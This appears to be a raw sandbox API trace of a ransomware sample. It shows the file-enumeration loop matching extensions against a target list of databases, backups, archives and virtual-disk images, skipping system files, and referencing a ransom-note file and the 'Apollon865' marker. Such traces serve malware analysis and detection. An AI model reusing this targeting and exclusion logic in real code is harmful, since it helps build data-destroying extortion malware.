	[0076.094] lstrcmpiW (lpString1="I.DLL", lpString2="accdb") returned 1
	[0076.094] lstrlenW (lpString="accdc") returned 5
	[0076.094] lstrcmpiW (lpString1="I.DLL", lpString2="accdc") returned 1
	[0076.094] lstrlenW (lpString="accde") returned 5
	[0076.094] lstrcmpiW (lpString1="I.DLL", lpString2="accde") returned 1
	[0076.094] lstrlenW (lpString="accdr") returned 5
	[0076.094] lstrcmpiW (lpString1="I.DLL", lpString2="accdr") returned 1
	[0076.094] lstrlenW (lpString="accdt") returned 5
	[0076.094] lstrcmpiW (lpString1="I.DLL", lpString2="accdt") returned 1
	[0076.094] lstrlenW (lpString="accdw") returned 5
	[0076.094] lstrcmpiW (lpString1="I.DLL", lpString2="accdw") returned 1
	[0076.094] lstrlenW (lpString="accft") returned 5
	[0076.094] lstrcmpiW (lpString1="I.DLL", lpString2="accft") returned 1
	[0076.094] lstrlenW (lpString="adb") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0076.094] lstrlenW (lpString="adb") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0076.094] lstrlenW (lpString="ade") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1
	[0076.094] lstrlenW (lpString="adf") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1
	[0076.095] lstrlenW (lpString="adn") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1
	[0076.095] lstrlenW (lpString="adp") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1
	[0076.095] lstrlenW (lpString="alf") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1
	[0076.095] lstrlenW (lpString="ask") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1
	[0076.095] lstrlenW (lpString="btr") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1
	[0076.095] lstrlenW (lpString="cat") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1
	[0076.095] lstrlenW (lpString="cdb") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1
	[0076.095] lstrlenW (lpString="ckp") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1
	[0076.095] lstrlenW (lpString="cma") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1
	[0076.095] lstrlenW (lpString="cpd") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1
	[0076.095] lstrlenW (lpString="dacpac") returned 6
	[0076.095] lstrcmpiW (lpString1="UI.DLL", lpString2="dacpac") returned 1
	[0076.095] lstrlenW (lpString="dad") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1
	[0076.095] lstrlenW (lpString="dadiagrams") returned 10
	[0076.095] lstrcmpiW (lpString1="ETUPUI.DLL", lpString2="dadiagrams") returned 1
	[0076.095] lstrlenW (lpString="daschema") returned 8
	[0076.095] lstrcmpiW (lpString1="UPUI.DLL", lpString2="daschema") returned 1
	[0076.095] lstrlenW (lpString="db-journal") returned 10
	[0076.095] lstrcmpiW (lpString1="ETUPUI.DLL", lpString2="db-journal") returned 1
	[0076.095] lstrlenW (lpString="db-shm") returned 6
	[0076.095] lstrcmpiW (lpString1="UI.DLL", lpString2="db-shm") returned 1
	[0076.095] lstrlenW (lpString="db-wal") returned 6
	[0076.095] lstrcmpiW (lpString1="UI.DLL", lpString2="db-wal") returned 1
	[0076.095] lstrlenW (lpString="dbc") returned 3
	[0076.095] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1
	[0076.095] lstrlenW (lpString="dbs") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1
	[0076.096] lstrlenW (lpString="dbt") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1
	[0076.096] lstrlenW (lpString="dbv") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1
	[0076.096] lstrlenW (lpString="dbx") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1
	[0076.096] lstrlenW (lpString="dcb") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1
	[0076.096] lstrlenW (lpString="dct") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1
	[0076.096] lstrlenW (lpString="dcx") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1
	[0076.096] lstrlenW (lpString="ddl") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1
	[0076.096] lstrlenW (lpString="dlis") returned 4
	[0076.096] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1
	[0076.096] lstrlenW (lpString="dp1") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1
	[0076.096] lstrlenW (lpString="dqy") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1
	[0076.096] lstrlenW (lpString="dsk") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1
	[0076.096] lstrlenW (lpString="dsn") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1
	[0076.096] lstrlenW (lpString="dtsx") returned 4
	[0076.096] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1
	[0076.096] lstrlenW (lpString="dxl") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1
	[0076.096] lstrlenW (lpString="eco") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1
	[0076.096] lstrlenW (lpString="ecx") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1
	[0076.096] lstrlenW (lpString="edb") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1
	[0076.096] lstrlenW (lpString="epim") returned 4
	[0076.096] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1
	[0076.096] lstrlenW (lpString="fcd") returned 3
	[0076.096] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1
	[0076.097] lstrlenW (lpString="fdb") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1
	[0076.097] lstrlenW (lpString="fic") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1
	[0076.097] lstrlenW (lpString="flexolibrary") returned 12
	[0076.097] lstrlenW (lpString="fm5") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1
	[0076.097] lstrlenW (lpString="fmp") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1
	[0076.097] lstrlenW (lpString="fmp12") returned 5
	[0076.097] lstrcmpiW (lpString1="I.DLL", lpString2="fmp12") returned 1
	[0076.097] lstrlenW (lpString="fmpsl") returned 5
	[0076.097] lstrcmpiW (lpString1="I.DLL", lpString2="fmpsl") returned 1
	[0076.097] lstrlenW (lpString="fol") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1
	[0076.097] lstrlenW (lpString="fp3") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1
	[0076.097] lstrlenW (lpString="fp4") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1
	[0076.097] lstrlenW (lpString="fp5") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1
	[0076.097] lstrlenW (lpString="fp7") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1
	[0076.097] lstrlenW (lpString="fpt") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1
	[0076.097] lstrlenW (lpString="frm") returned 3
	[0076.097] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1
	[0076.097] lstrlenW (lpString="gdb") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1
	[0076.098] lstrlenW (lpString="gdb") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1
	[0076.098] lstrlenW (lpString="grdb") returned 4
	[0076.098] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1
	[0076.098] lstrlenW (lpString="gwi") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1
	[0076.098] lstrlenW (lpString="hdb") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1
	[0076.098] lstrlenW (lpString="his") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1
	[0076.098] lstrlenW (lpString="ib") returned 2
	[0076.098] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1
	[0076.098] lstrlenW (lpString="idb") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1
	[0076.098] lstrlenW (lpString="ihx") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1
	[0076.098] lstrlenW (lpString="itdb") returned 4
	[0076.098] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1
	[0076.098] lstrlenW (lpString="itw") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1
	[0076.098] lstrlenW (lpString="jet") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1
	[0076.098] lstrlenW (lpString="jtx") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1
	[0076.098] lstrlenW (lpString="kdb") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1
	[0076.098] lstrlenW (lpString="kexi") returned 4
	[0076.098] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1
	[0076.098] lstrlenW (lpString="kexic") returned 5
	[0076.098] lstrcmpiW (lpString1="I.DLL", lpString2="kexic") returned -1
	[0076.098] lstrlenW (lpString="kexis") returned 5
	[0076.098] lstrcmpiW (lpString1="I.DLL", lpString2="kexis") returned -1
	[0076.098] lstrlenW (lpString="lgc") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1
	[0076.098] lstrlenW (lpString="lwx") returned 3
	[0076.098] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1
	[0076.098] lstrlenW (lpString="maf") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1
	[0076.099] lstrlenW (lpString="maq") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1
	[0076.099] lstrlenW (lpString="mar") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1
	[0076.099] lstrlenW (lpString="marshal") returned 7
	[0076.099] lstrcmpiW (lpString1="PUI.DLL", lpString2="marshal") returned 1
	[0076.099] lstrlenW (lpString="mas") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1
	[0076.099] lstrlenW (lpString="mav") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1
	[0076.099] lstrlenW (lpString="maw") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1
	[0076.099] lstrlenW (lpString="mdbhtml") returned 7
	[0076.099] lstrcmpiW (lpString1="PUI.DLL", lpString2="mdbhtml") returned 1
	[0076.099] lstrlenW (lpString="mdn") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1
	[0076.099] lstrlenW (lpString="mdt") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1
	[0076.099] lstrlenW (lpString="mfd") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1
	[0076.099] lstrlenW (lpString="mpd") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1
	[0076.099] lstrlenW (lpString="mrg") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1
	[0076.099] lstrlenW (lpString="mud") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1
	[0076.099] lstrlenW (lpString="mwb") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1
	[0076.099] lstrlenW (lpString="myd") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1
	[0076.099] lstrlenW (lpString="ndf") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1
	[0076.099] lstrlenW (lpString="nnt") returned 3
	[0076.099] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1
	[0076.099] lstrlenW (lpString="nrmlib") returned 6
	[0076.099] lstrcmpiW (lpString1="UI.DLL", lpString2="nrmlib") returned 1
	[0076.099] lstrlenW (lpString="ns2") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1
	[0076.100] lstrlenW (lpString="ns3") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1
	[0076.100] lstrlenW (lpString="ns4") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1
	[0076.100] lstrlenW (lpString="nsf") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1
	[0076.100] lstrlenW (lpString="nv") returned 2
	[0076.100] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1
	[0076.100] lstrlenW (lpString="nv2") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1
	[0076.100] lstrlenW (lpString="nwdb") returned 4
	[0076.100] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1
	[0076.100] lstrlenW (lpString="nyf") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1
	[0076.100] lstrlenW (lpString="odb") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1
	[0076.100] lstrlenW (lpString="odb") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1
	[0076.100] lstrlenW (lpString="oqy") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1
	[0076.100] lstrlenW (lpString="ora") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1
	[0076.100] lstrlenW (lpString="orx") returned 3
	[0076.100] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1
	[0076.100] lstrlenW (lpString="owc") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1
	[0076.102] lstrlenW (lpString="p96") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1
	[0076.102] lstrlenW (lpString="p97") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1
	[0076.102] lstrlenW (lpString="pan") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1
	[0076.102] lstrlenW (lpString="pdb") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1
	[0076.102] lstrlenW (lpString="pdm") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1
	[0076.102] lstrlenW (lpString="pnz") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1
	[0076.102] lstrlenW (lpString="qry") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1
	[0076.102] lstrlenW (lpString="qvd") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1
	[0076.102] lstrlenW (lpString="rbf") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1
	[0076.102] lstrlenW (lpString="rctd") returned 4
	[0076.102] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1
	[0076.102] lstrlenW (lpString="rod") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1
	[0076.102] lstrlenW (lpString="rodx") returned 4
	[0076.102] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1
	[0076.102] lstrlenW (lpString="rpd") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1
	[0076.102] lstrlenW (lpString="rsd") returned 3
	[0076.102] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1
	[0076.102] lstrlenW (lpString="sas7bdat") returned 8
	[0076.103] lstrcmpiW (lpString1="UPUI.DLL", lpString2="sas7bdat") returned 1
	[0076.103] lstrlenW (lpString="sbf") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1
	[0076.103] lstrlenW (lpString="scx") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1
	[0076.103] lstrlenW (lpString="sdb") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1
	[0076.103] lstrlenW (lpString="sdc") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1
	[0076.103] lstrlenW (lpString="sdf") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1
	[0076.103] lstrlenW (lpString="sis") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1
	[0076.103] lstrlenW (lpString="spq") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1
	[0076.103] lstrlenW (lpString="te") returned 2
	[0076.103] lstrcmpiW (lpString1="LL", lpString2="te") returned -1
	[0076.103] lstrlenW (lpString="teacher") returned 7
	[0076.103] lstrcmpiW (lpString1="PUI.DLL", lpString2="teacher") returned -1
	[0076.103] lstrlenW (lpString="tmd") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1
	[0076.103] lstrlenW (lpString="tps") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1
	[0076.103] lstrlenW (lpString="trc") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1
	[0076.103] lstrlenW (lpString="trc") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1
	[0076.103] lstrlenW (lpString="trm") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1
	[0076.103] lstrlenW (lpString="udb") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1
	[0076.103] lstrlenW (lpString="udl") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1
	[0076.103] lstrlenW (lpString="usr") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1
	[0076.103] lstrlenW (lpString="v12") returned 3
	[0076.103] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1
	[0076.103] lstrlenW (lpString="vis") returned 3
	[0076.104] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1
	[0076.104] lstrlenW (lpString="vpd") returned 3
	[0076.104] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1
	[0076.104] lstrlenW (lpString="vvv") returned 3
	[0076.104] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1
	[0076.104] lstrlenW (lpString="wdb") returned 3
	[0076.104] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1
	[0076.104] lstrlenW (lpString="wmdb") returned 4
	[0076.104] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1
	[0076.104] lstrlenW (lpString="wrk") returned 3
	[0076.104] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1
	[0076.104] lstrlenW (lpString="xdb") returned 3
	[0076.104] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1
	[0076.104] lstrlenW (lpString="xld") returned 3
	[0076.104] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1
	[0076.104] lstrlenW (lpString="xmlff") returned 5
	[0076.104] lstrcmpiW (lpString1="I.DLL", lpString2="xmlff") returned -1
	[0076.104] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2=".") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="..") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="windows") returned -1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="bootmgr") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="temp") returned -1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="pagefile.sys") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="boot") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="ids.txt") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="ntuser.dat") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="perflogs") returned 1
	[0076.104] lstrcmpiW (lpString1="promointl.dll", lpString2="MSBuild") returned 1
	[0076.104] lstrlenW (lpString="promointl.dll") returned 13
	[0076.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105
	[0076.104] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="promointl.dll" | out: lpString1="promointl.dll") returned="promointl.dll"
	[0076.104] lstrlenW (lpString="promointl.dll") returned 13
	[0076.104] lstrlenW (lpString="Apollon865") returned 10
	[0076.104] lstrcmpiW (lpString1="mointl.dll", lpString2="Apollon865") returned 1
	[0076.104] lstrlenW (lpString=".dll") returned 4
	[0076.105] lstrcmpiW (lpString1="promointl.dll", lpString2=".dll") returned 1
	[0076.105] lstrlenW (lpString=".lnk") returned 4
	[0076.105] lstrcmpiW (lpString1="promointl.dll", lpString2=".lnk") returned 1
	[0076.105] lstrlenW (lpString=".ini") returned 4
	[0076.105] lstrcmpiW (lpString1="promointl.dll", lpString2=".ini") returned 1
	[0076.105] lstrlenW (lpString=".sys") returned 4
	[0076.105] lstrcmpiW (lpString1="promointl.dll", lpString2=".sys") returned 1
	[0076.105] lstrlenW (lpString="promointl.dll") returned 13
	[0076.105] lstrlenW (lpString="bak") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0076.105] lstrlenW (lpString="ba_") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0076.105] lstrlenW (lpString="dbb") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0076.105] lstrlenW (lpString="vmdk") returned 4
	[0076.105] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0076.105] lstrlenW (lpString="rar") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0076.105] lstrlenW (lpString="zip") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0076.105] lstrlenW (lpString="tgz") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0076.105] lstrlenW (lpString="vbox") returned 4
	[0076.105] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0076.105] lstrlenW (lpString="vdi") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0076.105] lstrlenW (lpString="vhd") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0076.105] lstrlenW (lpString="vhdx") returned 4
	[0076.105] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0076.105] lstrlenW (lpString="avhd") returned 4
	[0076.105] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0076.105] lstrlenW (lpString="db") returned 2
	[0076.105] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0076.105] lstrlenW (lpString="db2") returned 3
	[0076.105] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0076.106] lstrlenW (lpString="db3") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0076.106] lstrlenW (lpString="dbf") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0076.106] lstrlenW (lpString="mdf") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0076.106] lstrlenW (lpString="mdb") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0076.106] lstrlenW (lpString="sql") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0076.106] lstrlenW (lpString="sqlite") returned 6
	[0076.106] lstrcmpiW (lpString1="tl.dll", lpString2="sqlite") returned 1
	[0076.106] lstrlenW (lpString="sqlite3") returned 7
	[0076.106] lstrcmpiW (lpString1="ntl.dll", lpString2="sqlite3") returned -1
	[0076.106] lstrlenW (lpString="sqlitedb") returned 8
	[0076.106] lstrcmpiW (lpString1="intl.dll", lpString2="sqlitedb") returned -1
	[0076.106] lstrlenW (lpString="xml") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0076.106] lstrlenW (lpString="$er") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0076.106] lstrlenW (lpString="4dd") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0076.106] lstrlenW (lpString="4dl") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0076.106] lstrlenW (lpString="^^^") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0076.106] lstrlenW (lpString="abs") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0076.106] lstrlenW (lpString="abx") returned 3
	[0076.106] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0076.106] lstrlenW (lpString="accdb") returned 5
	[0076.106] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1
	[0076.106] lstrlenW (lpString="accdc") returned 5
	[0076.106] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1
	[0076.106] lstrlenW (lpString="accde") returned 5
	[0076.106] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1
	[0076.106] lstrlenW (lpString="accdr") returned 5
	[0076.106] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1
	[0076.107] lstrlenW (lpString="accdt") returned 5
	[0076.107] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1
	[0076.107] lstrlenW (lpString="accdw") returned 5
	[0076.107] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1
	[0076.107] lstrlenW (lpString="accft") returned 5
	[0076.107] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1
	[0076.107] lstrlenW (lpString="adb") returned 3
	[0076.107] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0076.107] lstrlenW (lpString="adb") returned 3
	[0076.107] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0076.107] lstrlenW (lpString="ade") returned 3
	[0076.107] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0076.107] lstrlenW (lpString="adf") returned 3
	[0076.107] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0076.107] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0076.107] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="PSCONFIG.CHM" | out: lpString1="PSCONFIG.CHM") returned="PSCONFIG.CHM"
	[0076.107] lstrlenW (lpString="PSCONFIG.CHM") returned 12
	[0076.107] lstrlenW (lpString="Apollon865") returned 10
	[0076.107] lstrcmpiW (lpString1="CONFIG.CHM", lpString2="Apollon865") returned 1
	[0076.107] lstrlenW (lpString=".dll") returned 4
	[0076.107] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2=".dll") returned 1
	[0076.107] lstrlenW (lpString=".lnk") returned 4
	[0076.107] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2=".lnk") returned 1
	[0076.107] lstrlenW (lpString=".ini") returned 4
	[0076.107] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2=".ini") returned 1
	[0076.107] lstrlenW (lpString=".sys") returned 4
	[0076.108] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2=".sys") returned 1
	[0076.108] lstrlenW (lpString="PSCONFIG.CHM") returned 12
